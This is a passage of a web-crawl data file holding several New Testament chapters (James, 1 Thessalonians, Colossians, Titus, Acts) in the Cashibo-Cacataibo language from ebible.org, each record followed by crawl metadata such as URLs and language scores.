piti ñuñuma isquin, 16 sapi camina mitsu achúshinën cati 'ain: Bërúanx ca cuantan, mina matsi ca mapút, pucháquin ca pit quixun. Usaquin caquinbi añu ñubi 'ináncëma 'aish camina min bana ñancáishi 'aish banáinshi quicë 'ain. 17 Usaribiti ca uni Jesucristomiisa catamëtia quiquinbi uni itsi nuibaquin 'aquincëma 'aish asérabi Jesucristomi catamëcëma 'icën.\n18 Unin sapi ca uni itsi cati 'icën: Mixmi Jesucristomi cana catamëti quimainunbi cana 'ën upí ñu 'ain. Mixmi —Jesucristomi cana catamëti —quicëbëtanbi cana minmi upí ñu 'aia iscëma 'ixun asérabi camina usa 'ai quixun sinántima 'ain. Usa 'aínbi cana 'ën ñu upí 'acë 'ixun mi ismiti 'ain, 'ëx cana asérabi Jesucristomi catamëcë 'ai quixun. Usaía a uni quicë ax ca asérabi 'icën. 19 Min camina Nucën Papa Dios ax ca achúshishi 'icë quixun sinanin. Usaquin sinánti ca asábi 'icën. Usaquinmi sináncë 'aínbi ca ñunshin 'atimacamanribi —usa ca —quixun 'unani ami racuëtan bamai bërëruia. 20 ¿Mix sinánñumasa 'ixun caramina 'unaniman, Jesucristomi cana catamëti quiquinbi uni itsi nuibaquin 'aquincëma 'aish ca a uni Jesucristomi catamëcëmasa 'icën? 21 Ësa ca. Nucën rara, Abraham, an ca Nucën Papa Dios rabinuxun an cacësabi oquin aín bëchicë Isaac 'ati mëníocëxa. Usaquin 'aia isi ca Nucën Papa Dios —Abrahamnën ca 'ën bana cuaquin 'ën cacësabi oquin 'aia, usa 'aish ca 'ënan 'icë —quiax quiacëxa. 22 Nucën Papa Diosan a cacësabi oquin Abrahamnën 'á cupí camina 'unanin, Abrahamnëx ca asérabi Nucën Papa Diosmi catamëcë 'iacëxa quixun. Usa 'ixun an cacësabi oquin 'acë 'aish ca Abraham asérabi ax 'icësamaira oi Nucën Papa Diosmi sináncëxa. 23 Nucën Papa Diosan bana cuënëo axa a ñui quicësabi oi ca Abraham 'iacëxa, ësai quicë: \"Nucën Papa Diosan ca aín quicësabi oquin 'ati 'icë quixun 'unani ca Abraham ami catamëacëxa. Usaía 'icë cupí ca Nucën Papa Diosan iscëx Abraham upíira uni 'iacëxa\". Usa 'icë ca Abraham unin, Nucën Papa Diosbë nuibanancë uni caquin anëacëxa.\n24 Usa 'ain camina mitsun 'unánti 'ain, Nucën Papa Diosan ca ami sináncë cupíshima, ami sinánquian ax cuëëncësabi oquin ñu upí 'acë cupíribi, uni —ax ca asérabi upí 'icë —quixun isia. 25 Usaribi oquin ca Rahab cacë xanu ax 'aisama 'ixunbia Israel uni rabë́ Jericó ëmanu 'icë unicaman 'atin rabanan, aín xubunu unëxun bëtsi bain cuantánun xucë, a cupí Nucën Papa Diosan upí isacëxa. 26 Cananuna 'unanin, bamatancëx ca bëru ñunshínñuma 'aish uni aín nami ñancáishi 'icën. Usaribi ca uni ax isa Jesucristomi catamëtia quiquinbi uni itsi nuibaquin 'aquincëma 'aish, aín banax ñancáishi 'icën.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ebible.org\/cbrNT\/JAS02.htm","date":"2022-01-19T14:12:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320301341.12\/warc\/CC-MAIN-20220119125003-20220119155003-00401.warc.gz","language":"cbr","language_score":1.000005722,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.0000057220458984}","num_words":838,"character_repetition_ratio":0.108,"word_repetition_ratio":0.0,"special_characters_ratio":0.219,"stopwords_ratio":0.382,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"5\n1 Nucën xucë́antu, uisa nëtën 'ianan cara uínsaran Nucën 'Ibu Jesucristo utëcënti 'icë quixun cananuna mitsu cuënëoxuniman. 2 Mitsun camina upí oquin 'unanin, unían sinánmabia an ñu mëcamacë uni imë́ ucësa usaribi ca anúan Nucën 'Ibu Jesucristo uti nëtë 'iti 'icën. 3 Axa Jesucristomi sináncëma unicamaxa: \"Chuámashi cananuna bucuin, uisa ñunbi ca nu uisotima 'icë\" quicëbëbi ca anúan cëñúcanti nëtë atun sináncë 'aímabi unuxun 'aia. Xanu tuñunën ca anúan ax bacë́nti nëtë sënéncëbëtan paë taníma 'ima. Usaribiti ca axa usai banacë unicama anúan cëñúti nëtëa ucëbë ië́tima 'icën. 4 Usa 'aínbi camina mitsux axa Jesucristomi sináncëma unicama 'icësai 'ima. Usa 'aish camina mitsux aín nëtë sënë́ncëbëa Nucën 'Ibu Jesucristo ucëbë ratútima 'ain, an mëcamacë unían aín ñu mëcamaquin ratucëxa uni 'icësai camina 'icantima 'ain. 5 Nucën Papa Diosnan 'aish camina mitsux an nëtën upí ñu 'acë unisa 'ain. Cananuna an imë́ ñu 'atima 'acë unicamasama 'ain. 6 Usa 'aish cananuna uni raírisaribi 'uxcësa 'itima 'ain. Cananuna manúcëma 'aish upí oquin sináncë uni 'iti 'ain. 7 Axa 'uxcë unicamax ca imë́ 'uxia. Usaribiti ca axa paë́ncë unicama 'uxanan imë́ paënia. 8 Usa 'aínbi cananuna nux Nucën Papa Diosan uni 'aish camabi nëtën upí oquin sináncë 'iti 'ain. Cristonën ca ax quicësabi oquin 'ë 'aquinia quixun sinánquin cananuna ami catamëquin uni raíriribi nuibati 'ain, ñunshin 'atimanëan nu ñu 'atima 'anun sinánmitima cupí. Cristomi catamëquin raíri uniribi nuibacë 'aish cananuna suntárunëan 'acánani ami catamëti cupí anun aín shican bëpánti manë chupa pañucësa 'ain. Usai 'iquin, Jesucristo utëcëncëbë cana asaribi upí 'iti 'ai quixun sináncë 'aish, cananuna axa ami nishcë unían 'ati rabanan suntárunën aín maxcá manë mañutinën mapucësaribi 'ain. 9 Nucën Papa Diosan ca nun 'ucha cupí numi nishquin castícanuxun nu caíscëma 'icën. An ca Nucën 'Ibu Jesucristo cupíshi upí 'inun ië́minuxun nu caísaxa. 10 Jesucristo ax ca nuxnu bamacëma pain 'aish abë 'ianan bamatancëxbi abë tsónun nu cupí bamacëxa. 11 Ënë ñucama sinani camina ami catamëti Jesucristomi cushicë 'inux upiti bëtsibë bëtsibë sinánmiananti 'ain, mitsúxmi 'icësabi oi.\nPablonëan axa Jesucristomi catamëcë unicama 'ësëa bana\n12 Nucën xucë́antu, cananuna mitsu cain, mitsun cushicama 'imainun an mitsu 'aquincëcama 'imainun an mitsu Nucën 'Ibu Jesús ñuiquin 'ësëcë unicama acaman mitsu cacësabi oquin 'anan camina atun bana cuati 'ain. 13 Atúan upí oquin mitsu 'aquincë cupí camina acama nuibaquin, asérabi ca upí uni 'icë quixun sinánquin, atun bana cuati 'ain. Camina bëtsibë bëtsibë nishánanima upí onani chuámashi bucucanti 'ain.\n14 Nucën xucë́antu, ënë ñucamaribi 'anun cananuna mitsu cain, an ñu mëëtisama tanquin uni itsi ubíocë unicama, a camina sinananun 'ësëti 'ain. Jesucristonan 'aíshbi upiti ami catamëcëma unicama a Jesucristomi upiti catamënun sinánmianan camina an Jesucristonan 'ixunbi an ñu 'atima 'ati sináncë unicama aribi upí 'inun 'aquinti 'ain. 'Aquianan camina camabi uni ami nishquinma nuibaquin upí 'inun 'aquinti 'ain.\n15 Mitsu uinu 'icënbi camina bëtsi uni mimi nishquian 'atimocëxun ami nishquin aribi cupiquin nishananquintima 'ain. Usai 'ima bëtsibë bëtsibë 'aquiananquin camina camabi uni 'aquinti 'ain.\n16 Masá nuitutíma camina camabi nëtën cuëëni chuámashi 'icanti 'ain. 17 Usai 'i camina camabi nëtën Nucën Papa Diosbë banacanti 'ain. 18 Uisa ñu cara 'icëbëtanbi camina mitsun Nucën Papa Dios —asábi ca —quixun cati 'ain. Jesucristomi catamëcë 'ixunmi mitsun usaquin a cati ca Nucën Papa Dios cuëënia.\n19 Nucën Papa Diosan Bëru Ñunshin Upitan sinánmicëxuan unin upí ñu 'aia camina ëmitima 'ain. 20 Nucën Papa Diosan sinánmicëxuan unin ñuixuncëxun camina a bana cuaisama tantima 'ain. 21 Unían bana ñuixuncëxun camina, Nucën Papa Diosan sinánmicëx cara quia quixun pain cuati 'ain. Cuacë́xa usa 'icë camina aín bana upí oquin cuati 'ain. 22 Uisa ñucamax cara 'atima 'icë, acama ënquin camina uisa ñu 'atimaratsubi 'atima 'icanin.\n23 Nucën Papa Dios, an nu bënëtima chuámarua 'imiti, an mitsu upíshi 'inun 'imianan mitsun sinan, mitsun nuitu 'imainun mitsun namíxbia uisa 'uchañumabi 'inun mitsu 'imiti cana cuëënin, utëcënquian Nucën 'Ibu Jesucristonën usa 'icë mitsu isti cupí. 24 Nucën Papa Dios, an ainan 'inun mitsu caíscë, an ca mitsu usoquin 'imiti 'icën, ax quicësabi oquin.\nUpí oquin sinánxunquian ashiquin Pablonën bërúanxa 'inun ca\n25 Nucën xucë́antu, camina nu sinánquin Nucën Papa Dios nu ñucáxunti 'ain.\n26 Jesucristo cupí mitsun nuitu upí 'ixun camina axa Jesucristomi catamëcë unicama bërúanxa 'inun cati 'ain.\n27 Nucën 'Ibu Jesucristonën uni 'ixun cana an 'ë sinánmicësabi oquin mitsu cain, ënë quirica camina axa ami catamëcë unicaman cuanun ñuixunti 'ain.\n28 Mitsu Nucën 'Ibu Jesucristonën nuibaquin 'aquincëxmi mitsux upitax bucuti cana cuëënin. Ashi, Pablo.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ebible.org\/cbrNT\/1TH05.htm","date":"2022-01-16T10:08:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320299852.23\/warc\/CC-MAIN-20220116093137-20220116123137-00477.warc.gz","language":"cbr","language_score":1.0000052452,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.0000052452087402}","num_words":693,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.206,"stopwords_ratio":0.306,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2\n1 Ënë ñucama 'unánun cana ësoquin mitsu cain: Mitsúnmi 'acësaribi oquian Laodiceanu 'icë unicama 'imainun bëtsi bëtsi ëmanu 'icë unicamanribi 'ë iscëma 'ixunbi cana mitsu 'imainun aturibi sinánquin Nucën Papa Dios 'itsaira ñucáxunin. 2 Mitsúnmi Cristomi cushicë 'aish bëtsibë bëtsibë nuibanani achúshisaishi 'ianan upí oquin a 'unáncëma 'ixunbi bërí Cristo 'unánquin, uisaira oquin cara mitsu 'aquinti 'icë quixun 'unánun, cana mitsu Nucën Papa Dios ñucáxunin. 3 An camabi ñu 'unáncë 'ixun ca ainan cupíshi Cristonën aín unicama 'unánmia.\n4 Cristonan 'icëa bëtsi unin paránquin mitsu 'atimaquin sinanamiti rabanan cana mitsu ësaquin cain, 5 mitsu 'ura 'aíshbi 'ën sináncënëinshi mitsubë 'icësa 'aish cana mitsúxmi uisa ñu cara 'icëbëbi a ëníma Cristomi catamëti ami cushicë 'icë cuati cuëënin.\n6 Usa 'ain camina ainan 'iisa tania Nucën 'Ibu Jesucristonën mitsu ainan 'imicë cupí axa mitsun 'ibuira 'ain, upitiira ami catamëti abë 'i ax cuëëncësabi oíshi 'iti 'ain. 7 A upí oquin 'unánan uisa cara ax 'icë quixun 'unani camina aín unían mitsu cacësabi oi, ami upiti catamëcanti 'ain. Usai 'iquin camina camabi nëtën Nucën Papa Dios —asábi ca —quixun cati 'ain.\nCristonan 'aísha uni bëtsi 'icë quicë bana\n8 An uni bëtsi bëtsi bana ñuixunquin paráncë unicaman mitsu, Cristomi catamëcë 'icëbi, ami manúnun quixun paránti rabanan camina bërúancati 'icanin. A unicaman ca Cristo ñuiquinma atúnbi sinánxuan unin ñuicë bana 'imainun ënë nëtënu 'icë ñu sinánti, a banacamaishi uni 'unánmia.\n9 Cristonëx ca uni 'icën, 'aíshbi ca uisaira cara Nucën Papa Dios 'icë usaribi 'icën. 10 Ax cushiira 'ixuan an 'imicëxma ca ángelcama 'imainun ñunshíncamaribi 'imainun uisa ñun cushi cara, acamaxbi ñancáishi 'iti 'icën. Usa 'ain ca Cristobëmi achúshisa 'ain, aín cushi anúnmi Nucën Papa Dios cuëëncësabi oquin 'ati ax mitsubë 'icën. 11 Mitsux usai Cristobë achúshisa 'aish camina Nucën Papa Diosnan cupí 'unántioracacësaribi 'ain. Judíos unicamaxa chamaratsu 'aish 'unántiocë usa 'aíshmabi camina Cristonënbia mitsun sinan upí 'imianan ñu 'aisama 'ati ëmicë 'aish, Nucën Papa Diosnan cupí 'unántiocësa 'ain. 12 Mitsun, Nucën Papa Diosan ca bamacëbi Cristo baísquimiacëxa quixun 'unánquin, an ca a cushínbi 'ë ië́miti 'icë quixun 'unani camina ax 'iásaribiti nashimicë 'aish Cristobëbi bamacë acëñun maíncëx abëbi baísquiasa 'ain. 13 Mitsun cuëëncësa oquinshi ñu 'aími bamacësa 'ianan judíos unicamaxa 'icësaribiti 'unántiorcacëma 'aish ainanma 'icëbi ca Nucën Papa Diosan a cupíshi mitsun 'uchacama tërë́nxunquin Cristobë baísquicësa mitsu 'imiaxa. 14 Usa 'ixun ca Nucën Papa Diosan nun 'uchacama tërë́nxunquin, nun nu Moisésnën cuënëo bana quicësabi oquin 'acëma 'icëbi Cristo i curúsocënu bama cupí, nun 'uchacama sinántëcënuxunma nu tërë́nxuancëxa. 15 Usonan ca Cristonën i curúsocënu bamaquin uisa ñunshinax cara uisaira cushiñu 'icë, abi camabi unían 'unánun ñusmoquin cushiñuma 'imiacëxa.\nNucën Papa Dios cuëëncësabi oi 'iti bana\n16 Atúan 'acësaribi oquinmi ñu pianan ñu xëaima 'ianan camabi nëtë ca bëtsi nëtësaribi 'icë quixun sinánan 'uxë isícëbëa atux 'icësai 'ima 'ianan anun tantiti nëtën atux 'icësaribiti 'iama oquian unin ñuicëxunbi camina tantima 'ain. 17 Uisai cara Cristo ucë 'ain 'iti 'icë quixuan unin sinánun ca ënë ñucama 'iacëxa. Usa 'aínbi cananuna Cristo uá 'ain ainan 'ixun, uisa caranuna Cristobë 'iti 'ai quixun 'unanin. 18 Atúnbi ca —'ëx asama 'ixun cana Nucën Papa Diosma ángelcamaishi rabiti 'ai —quixun sinánquin atúnbi sináncë ñu ñui rabíquin unicana bana ñuixunia. Usa 'ain camina Cristonan 'iti ëntin rabanan atúan mitsu ñuixuncë bana a tantima 'ain. 19 A unicaman ca ami sináncëma 'ixun Cristonëan ësaquin aín unicama 'imiti a sinanima. An ca aín unicama asaribi upí 'inun Nucën Papa Dios cuëëncësabi oquin 'imia. Aín mëcën, aín xo, aín imi acamañu 'aíshbia uni achúshi 'icësaribi oquin ca Cristonën aín unicamaxa 'itsa 'aíshbi bëtsin sináncësabi oquin sináncë 'aish achúshisa 'inun 'imia.\n20 ¿Mitsux 'uchatëcënuxma Cristobë bamacësa 'aíshbi caramina uisa 'aish bërámami unin ñuicë ënë nëtënu 'icë ñuishi sinánquin rabicësa 'itëcënin? 21 Axa usai 'icë unicamax ca ësai quia:\n—Nucën Papa Diosbë upí 'inuxun camina bëtsi bëtsi ñu ramántima 'ain, camina bëtsi bëtsi ñu pitima 'ain, camina bëtsi bëtsi ñu min mëcënan bitima 'ain. 22 Usoquian ñuicëxbi ca a ñucama cëñutia, a banacamax ca unían sinánxun ñuicëshi 'icën. 23 —Usaquin 'ën ñu 'acë ax ca asérabi 'icë —quixun sinánquin an usashi oquin ñu 'acë uni a isquin ca uni itsin sinánti 'icën, ax isa asérabi sinánñuira 'icë quixun. Usa 'aínbi ca usaquin ñu 'aíbi aín nuitu usabi upíma 'ia.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ebible.org\/cbrNT\/COL02.htm","date":"2022-01-19T13:11:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320301341.12\/warc\/CC-MAIN-20220119125003-20220119155003-00533.warc.gz","language":"cbr","language_score":1.0000076294,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.0000076293945312}","num_words":670,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.209,"stopwords_ratio":0.312,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"4\n1 Mitsux an uni ñu mëëmicë uni 'ixun camina an mi ñu mëëxuncë unibë upí 'ianan upí oquin cupíoti 'ain. Usa 'ixun camina uni ñu mëëmiquin sinánti 'ain, —'ëxribi cana Nucën Papa Dios naínu 'icë an ñu mëëmicë 'ai —quixun.\n2 Ami manúquinma ábi sinani camina atsánquin ëníma Nucën Papa Diosbë banati 'ain. —Asábi ca —quixun cai camina abë banati 'ain. 3 Abë banaquin camina nun unían 'unánma bana Cristo ñui quicë ñuixunuan 'aquinun Nucën 'Ibu Dios ñucáti 'ain. A bana uni ñuixuncë cupí cana sipuacë 'ain. 4 Atúan cuaisabi oquin, unicama aín bana ñuixunquin 'unánminun camina 'ë Nucën Papa Dios ñucáxunti 'ain, 'ën ax cuëëncësabi oquin 'anun.\n5 Uisa nëtën caramina axa Cristomi sináncëma unibë 'ain, a nëtë ñancáishi inúmima camina upí oquin sinani abë banati 'ain. 6 Unibë banai camina upí oquian sinánun upí sinánñu 'aish upitishi banati 'ain. Usa 'ixun camina mia ñucácëxun caramina uisoquin cati 'ain quixun 'unánti 'ain.\nIII. BËRUANX 'INUAN PABLONËN CA (4.7-18)\nBërúanxa 'inuan Pablonën Colosasnu 'icë unicama ca\n7 Nun nuibacë xucën Tíquico, an upí oquin 'ë 'aquianan 'ëbëtan Nucën 'Ibu Jesús ñuiquin uni bana ñuixuncë, an ca mitsu isi cuanxun nun 'acë 'imainun 'ëx usai 'icëcamaribi mitsu ñuixunti 'icën. 8 'Ëx cana usa 'ai quixun caquian mitsu upí oquin sinánminun cana a mitsu isi cuanun xutin. 9 'Imainun cana mitsubëa Colosasnu 'icë uni Onésimo, axribia Jesucristomi catamëcë 'aish nubë nuibanancë, aribi xutin. Usa 'ain ca a uni rabëtan ënuxun nun 'acë 'imainun ënuaxnu 'icëcama mitsu upí oquin ñuixunti 'icën.\n10 Acëñun 'ë sipuacancë Aristarco, 'imainun Bernabénën sëcë́nanë, Marcos, anribi ca bërúanx 'inun mitsu camia. A ñuiquin 'ën cacë 'ixun camina Marcos mitsu isi cuania upí oquin bicanti 'ain. 11 'Imainun ca Jesús, Justo caquinribi anëcë, anribi mitsu bërúanx 'inun camía. Cristomi catamëcë judíos unicamama, rabë́ 'imainun achúshi ënë́inshi ca 'ëbëtan Nucën Papa Diosnan 'iti bana ñuixuanxa. Atun ca 'ë upí oquin sinánmiaxa. 12 Axribia Colosasnu 'icë uni, Epafras, anribi ca bërúanxmi 'inun quixun mitsu camía. An ca Cristo cuëëncësabi oquin 'anan camabi nëtën Nucën Papa Dios mitsu ñucáxunia, ami sinánti ënquinmami ax cuëëncësabi oquinshi upí oquin 'anun. 13 Cana mitsu cain, 'ënbi cana 'unanin, Epafrasnën ca mitsu 'imainun axa Laodicea 'imainun Hierápolis ëmanuax Jesúsmi sináncë unicama 'itsaira sinánquin, camabi nëtën ënquinma Nucën Papa Dios ñucáxunia. 14 Lucas an uni roncë, axa nubë nuibanancë, abëtan ca Demasnënribi bërúanxmi 'inun quixun mitsu camía.\n15 Laodiceanuaxa ax Jesúsmi catamëcë unicama 'imainun camina Ninfascëñun aín xubunua 'icë axa Jesúsmi catamëcëcamaribi bërúanxa 'inun 'ë caxunti 'ain. 16 Mitsun pain timë́xun istancëxun camina ënë quirica Laodiceanuaxa Jesúsmi catamëcëcamanribia isnun atu buánmiti 'ain. 'Imainun camina Laodiceanu 'icë unicaman isnun 'ën buánmicë quirica itsi aribi mitsúnribi bixun isti 'ain. 17 Arquipo aribi camina Nucën 'Ibu Diosan 'ináncë ñu mëëti a ënquinma upí oquin 'axunun cati 'ain.\n18 'Ëx Pablo 'ixun cana 'ën mëcënanbi cuënëoquin bërúanxmi 'icánun quixun mitsu cain. Usa 'ain camina 'ëx cana unin sipuacë 'ai quixun manúquinma sináncanti 'ain. Nucën Papa Diosan nuibacëxmi chuámashirua 'aish cuëëni upitax bucucanti cana cuëënin. Ashi, Pablo.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ebible.org\/cbrNT\/COL04.htm","date":"2022-01-26T04:30:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320304915.53\/warc\/CC-MAIN-20220126041016-20220126071016-00055.warc.gz","language":"cbr","language_score":1.0000056028,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.0000056028366089}","num_words":476,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.213,"stopwords_ratio":0.317,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2\nUisai cara uni upí 'iti 'icë quicë bana\n1 Usa 'aínbi camina, an upí oquin min bana cuacë unicama a Nucën Papa Dios cuëëncësabi oishía 'inun bëtsi bana ñuixunquinma Jesucristo ñuicë banaishi upí oquin ñuixunti 'ain. 2 Uni apan, anpan mëcócama, ax ca paë́ncëma 'ianan upí oquin sinánquin ñu 'anan ñu 'aisama 'acëma 'iti 'icën. 'Ianan ca Nucën Papa Diosan bana quicësabi oi 'ianan bëtsibë nuibanan an uisa ñu cara 'icëbëbi bënë́quin Nucën Papa Diosmi catamëti ëntima 'icën. 3 Xanu apáncama camina usaribi oquin cati 'ain, ami sinani ca Nucën Papa Dios cuëëncësabi oi upí nuituñu 'iti 'icë quixun. Bëbu 'imainun xanunbi ca cëmë bana ñuitima 'icën. Ca paë́ntima 'icën. Atúan aín sinan upí 'ixun ñu upí 'aia isquin ca atun xanu tuácama 'imainun atun ñe xutacamanribi usaribi oquin 'ati 'icën. 4 Xanu apáncaman ca ësai 'iquin aín tuá 'imainun aín ñe xutacamaribi ësaía 'inun 'unánmiti 'icën: atun bënë nuibanan ca atun tuáribi nuibaquin bërúanti 'icën. 5 Ñu 'aisama 'acëma 'ianan ca bëcántapun 'itima 'icën. 'Ianan ca aín xubu upí oquin bërúancë 'ianan upiti abë cananquin bëtsi xanu 'aquincë 'iti 'icën. Aín bënën bana ca cuati 'icën. Unínma Nucën Papa Diosan bana ca upíma 'icë quixun caia, usa 'ain ca an aín bana cuacë xanucamax usai 'i upí 'iti 'icën.\n6 Usaribi oquin camina uni bënácamaribi upí oquin sinánquian ñu upíshi 'anun cati 'ain. 7 'Imainun camina minribi min 'aia isquian usaribi oquin unin 'anun upí ñuishi 'ati 'ain. Atu 'ësëquin camina amanu amanua sinánquinma upí oquin Nucën Papa Diosan bana quicësabi oquin 'unánmiti 'ain. 8 'Unánmiquin camina upí oquin 'unánquin Nucën Papa Diosan bana quicësabi oía 'inun upí oquin unicama ñuixunti 'ain, bëtsi unían —min bana ca 'aisama 'icë —quixun ñuiti rabanan. Usoquinmi 'acëbë ca axa mimi nishtisa tancë unicama ax a cupía mi ñuiti bana 'aíma 'ain, rabínti 'icën.\n9 'Anan camina an uni ñu mëëxuncë unicamaribi 'ësëquin an a ñu mëëmicë unin bana parë́quin cuëbíquinma, an cacësabi oquin 'anun cati 'ain. 10 'Anan camina a unicama ësaquin 'unánmiti 'ain, an iscëxun 'ananbia an ñu mëëmicë unían iscëxunmabi, ñu mëcamaquinma upí oquinshi ñu mëënun. Atúxa usai 'icëbëtan ca camabi unin —Nucën Papa Dios, an uni ainan 'inun ië́micë, aín unicamax ca asérabi upí 'icë —quixun 'unánti 'icën.\n11 Nucën Papa Diosan ca camabi uni nuibaquin 'aquinquin abëa upí 'inun 'iminuxun aín Bëchicë ënë menu xuacëxa, unían uisaira oquin cara an atu nuibatia quixun 'unánun. Usa ca Nucën Papa Dios 'icë quixun 'unáncë 'ixun camina 'ën mi cacësabi oquin unicama 'unánmiti 'ain. 12 Nucën Papa Diosan ca nu 'unánmia, nux aín uni 'aish cananuna abë upí 'aish ax cuëëncëma ñu 'ati ëni, upíshi 'ianan axa ami sináncëma unicamaxa 'icësai 'iti sinanima, 'ianan ami cushicë 'ixun, añu ñucama nun 'ati cara cuëënia ashi 'ati 'ai quixun. 13 Usaquin 'unánmianan ca nu 'unánmia, nux ainan 'ixun cananuna ax quiásabi oía an nu ië́micë Jesucristo, ax Nucën Papa Diosribi 'aish, aín cushibëbi utëcënti nëtë caínti 'ai quixun. 14 Jesucristo ca 'itsianxmabi nu cupí bamacëxa, nun 'uchacama tërë́nxunquin Nucën Papa Diosbë upí 'inun ië́mianan nun sinan upí 'ixúnu bëtsi ñu sinántëcënquinma ax cuëëncësabi oquinshi 'anun.\n15 'Ën mi cacë banacama ënë camina unicama 'unánmiti 'ain. Atúxa, asérabi ca a bana icë quixun sinani racuëtima Jesucristomi cushicë 'inun 'ësëanan camina atúan 'aisama ñu 'axunma 'anun caquin 'ësëti 'ain. Usoquin 'aquin camina ui unínbi mi timaquin min bana cuaisama tanun 'imitima 'ain.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ebible.org\/cbrNT\/TIT02.htm","date":"2022-01-25T13:53:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320304835.96\/warc\/CC-MAIN-20220125130117-20220125160117-00708.warc.gz","language":"cbr","language_score":1.0000085831,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.0000085830688477}","num_words":542,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.222,"stopwords_ratio":0.375,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"28\nMalta cacë nasínua Pablo 'iá\n1 Usai camáxbi bacamiquibi ië́xun cananuna —Malta cacë nasí ca ënëx 'icë —quixun a isacën. 2 A nasínu 'icë unicaman ca nu nuibaquin, 'uí 'imainun matsi 'ain, ami nux sënamënun quixun tsi tícaquin ërë́nruacëxa. 3 Ërë́nrucëbëtan ca Pablonën mëchan xanúncë bixun, tsi rëquirucënu niacëxa. Nicëbë tsian xarocëxun tanbëtsini uquin ca Pablo runun mëcháncëxa. 4 Usoia isi ca a nasínu 'icë unicamax ratuti ësai canancëxa:\n—Ënë unix ca asérabi an uni 'acë uni 'icën. Bacamiquibi ië́axbi ca aín 'ucha cupí bamati 'icën.\n5 Canancëbëtanbi ca Pablonën runu mëtúasquiquin tsinu niacëxa. Usoíbi ca Pablo uisaíbi 'iama 'icën. 6 Usai 'ia isquin ca aín mëcën ca uáti 'icë quixun anu 'icë unicaman sináncëxa. Sinánan ca —ca bamati 'icë —quixun sináncëxa. Sinánxun 'uran caíncëxbia uatima 'ianan bamaiama oi ca bëtsi oquin sinani —ënë unix ca dios achúshi 'icë —quiacëxa.\n7 Anunu 'icë a 'urama ca a nasínu 'icë Publio cacë uni aín tucuricu aín me 'iacëxa. Usa 'ain ca a unin bitancëxun aín xubunu 'inun quixun nu cacëxa. Cacëx anu rabë́ 'imainun achúshi nëtën abë 'ia ca pimianan nu 'aquiancëxa. 8 Nux anu 'ain ca Publionën papa 'insinan 'ianan chixutanribi 'i, racácë 'iacëxa. Usa 'icëa ñuia cuati ca Pablo a isi cuancëxa. Cuanxun ca Nucën Papa Diosbë banatancëxun aín mëcënan ramëquin pëxcüacëxa. 9 Usocëbëa anu aia ca Pablonën a nasínua 'icë uni ñucëcamaribi pëxcüacëxa. 10 Usocëbëtan ca a nasínu 'icë unicaman numi sinánquin nu 'aquiancëxa. 'Aquianan ca nuxnu cuancëbëtan, manë nuntinu nun pibianti ñucamaribi nu 'aruxuancëxa.\nPablo Romanu bëba\n11 Usa 'ain cananuna rabë́ 'imainun achúshi 'uxën Malta nasínu 'iacën. 'Itancëx cananuna anuxun mita inúmia aín 'ibu anu 'ain, Alejandríanuxuan bëcë manë nunti anun cuanux anu 'iruacën. A manë nuntin rëbunu ca uni rabëtan bëmánan tanxun 'acë i 'iacëxa, ax ca Cástor 'imainun Pólux caquin anëcë 'iacëxa. 12 Malta nasínuax a nuntinu 'iruquiani cuanx cananuna Siracusa cacë ëmanu bëbacën. Bëbax cananuna anu rabë́ 'imainun achúshi nëtën 'iacën. 13 'Itancëx cuanquin me ratábiani, parúnpapa cuëbíushi cuanx cananuna Regio cacë ëmanu bëbacën. Bëbonx suñúan caxucüax uquin nu bëcacëx cuanx cananuna rabë́ nëtë 'icëbë Puteoli cacë ëmanu bëbacën. 14 Bëbaxun cananuna anuxun axa Jesucristomi catamëcë uni raíri mëracën. Mëracëxuan abë 'inun cacëx cananuna anu achúshi semana 'iacën. Achúshi semana 'itancëx cananuna Roma ëmanu bain cuancën. 15 Usa 'ain ca nuxnu cuania cuabëtsini axa Jesucristomi catamëcë uni raíri Romanuax ricuatsini Apio Foro cacë ëmanuax nubë mëranani uacëxa. 'Imainun ca raírinëxribi Tres Tabernas cacë ëmanuax nubë mëranancëxa. Acamabënu mëranancëbëtan ca Pablonën Nucën Papa Dios —asábi ca —caquin upí oquin sináncëxa. 16 Usari 'i cananuna Roma ëmanu bëbacën. Bëbacëbëtan ca capitán Julionën an bëcë sipuacë unicama a guardianën cushi 'ináncëxa. 'Inánan ca Pablo bëtsi xubunua 'inun canan an bërúanun quixun suntáru achúshi cacëxa.\nRomanuxuan Pablonën bana ñuixuan\n17 Romanu bëbax, rabë́ 'imainun achúshi nëtë 'itancëxun ca Pablonën judíos uni aín cushicamaxa a isi unun quixun camiacëxa. Camicëx aía timëtia ca Pablonën 